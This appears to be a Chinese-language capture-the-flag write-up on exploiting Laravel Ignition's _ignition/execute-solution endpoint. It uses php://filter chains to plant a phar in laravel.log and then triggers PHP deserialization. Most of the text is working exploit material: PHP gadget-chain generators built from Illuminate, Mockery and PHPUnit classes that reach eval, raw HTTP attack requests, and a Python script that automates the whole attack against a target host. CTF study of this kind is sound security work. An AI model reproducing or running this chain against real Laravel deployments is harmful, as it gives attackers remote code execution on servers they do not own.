{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"},"vqwj9e726bd":"=","xgcrzhwo8x":"="}

自己搭了个环境,能写 webshell ,但是在题的环境里面好像没法写,可能是权限的问题

1
2
chmod -R 777 /var/www/html/storage/framework/sessions
chmod -R 777 /var/www/html/storage/logs

能写的目录,估计就上面两个

因而又只能再想别的办法了。。。。。。

看了半天,只找到一个能用的 __call

image-20210502165048043

只能去找 某个对象的恶意方法

实际上上面那个调用 phpinfo 的链也能调用某个对象的恶意方法

image-20210502200308217

现在就去找找看,找参数个数 <= 1 的恶意方法

找到一个能用 eval 的

image-20210502201112265

写个 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

namespace PHPUnit\Framework\MockObject{
class MockClass{
private $classCode;
private $mockName;
private $configurableMethods;
function __construct()
{
$this->mockName = "phpinfo();";
}
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = array(new \PHPUnit\Framework\MockObject\MockClass(),"generate");

}
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent{
function __construct()
{

}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct()
{
$this->event = new BroadcastEvent();
$this->event->connection = -1;
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace{
$a = new \Illuminate\Broadcasting\PendingBroadcast();
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("xxd test.phar");
}
?>

去试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php/_ignition/execute-solution HTTP/1.1
Host: 38b82e95-2f05-4085-a90a-9b3ad92905a7.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 344

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"},"vqwj9e726bd":"=","xgcrzhwo8x":"="}
1
"viewFile": "AA"
1
"viewFile": "PAYLOAD"
1
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"
1
phar:///var/www/html/storage/logs/laravel.log

但是不行,没法 phpinfo ,自习审计了一下,执行完 eval 之后

1
2
3
4
5
6
7
call_user_func(
[
$this->mockName,
'__phpunit_initConfigurableMethods',
],
...$this->configurableMethods
);

会报错

所以最好换一个 类

image-20210502210047244

一样的 ,写 poc ,直接冲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

namespace PHPUnit\Framework\MockObject{
class MockTrait{
private $classCode;
private $mockName;
function __construct()
{
$this->mockName = "123";
$this->classCode = "phpinfo();";
}
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = array(new \PHPUnit\Framework\MockObject\MockTrait(),"generate");

}
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent{
function __construct()
{

}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct()
{
$this->event = new BroadcastEvent();
$this->event->connection = -1;
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace{
$a = new \Illuminate\Broadcasting\PendingBroadcast();
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("xxd test.phar");
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php/_ignition/execute-solution HTTP/1.1
Host: 38b82e95-2f05-4085-a90a-9b3ad92905a7.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 344

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"},"vqwj9e726bd":"=","xgcrzhwo8x":"="}
1
"viewFile": "AA"
1
"viewFile": "PAYLOAD"
1
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"
1
phar:///var/www/html/storage/logs/laravel.log

另一条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
namespace PHPUnit\Framework\MockObject{
class MockTrait{
private $classCode;
private $mockName;
function __construct()
{
$this->mockName = "123";
$this->classCode = "phpinfo();";
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
function __construct()
{
$this->mock = new \PHPUnit\Framework\MockObject\MockTrait();
$this->method = "generate";
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct()
{
$this->events = new \Mockery\HigherOrderMessage();
}
}
}
namespace{
$a = new \Illuminate\Broadcasting\PendingBroadcast();
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("xxd test.phar");
}
?>

贴一个自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import socket
from time import sleep
from urllib.parse import quote_plus
import json
import base64

host = "ec0dd37c-b121-4e45-b985-c8b0b38b11e0.node3.buuoj.cn"
port = 80
log = "/var/www/html/storage/logs/laravel.log"
phar_path = "/mnt/d/CTFTools/Scripts/test.phar"
with open(phar_path,"br") as f:
c = f.read()
s = base64.b64encode(c)
r = []
for i in s:
r.append("="+str(hex(i)[2:])+"=00")

phar_data = "".join(r).upper() + "a"
print(phar_data)
args = [
["php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource={}".format(log),"200"],
["AA","500"],
[phar_data,"500"],
["php://filter/write=convert.quoted-printable-decode|convert.iconv.utf16le.utf-8|convert.base64-decode/resource={}".format(log),"200"],
["phar://{}".format(log),"500"]
]

for i in args:
payload = {
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile": i[0]
},
"vqwj9e726bd":"=",
"xgcrzhwo8x":"="
}
payload = json.dumps(payload)
go = True
while go:
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((host,port))
data = """POST /index.php/_ignition/execute-solution HTTP/1.1
Host: ec0dd37c-b121-4e45-b985-c8b0b38b11e0.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: {}

{}""".replace("\n","\r\n").format(len(payload),payload)
r = b""
print(data)
# print(data)
s.sendall(bytes(data,encoding="utf-8"))
t = s.recv(0xffff)
while t:
r += t
t = s.recv(0xffff)

print(r)
with open("r.txt","ab+") as f:
f.write(r)
print(r.decode("utf-8")[9:12],i[1],r.decode("utf-8")[9:12]==i[1])
if r.decode("utf-8")[9:12]==i[1]:
go = False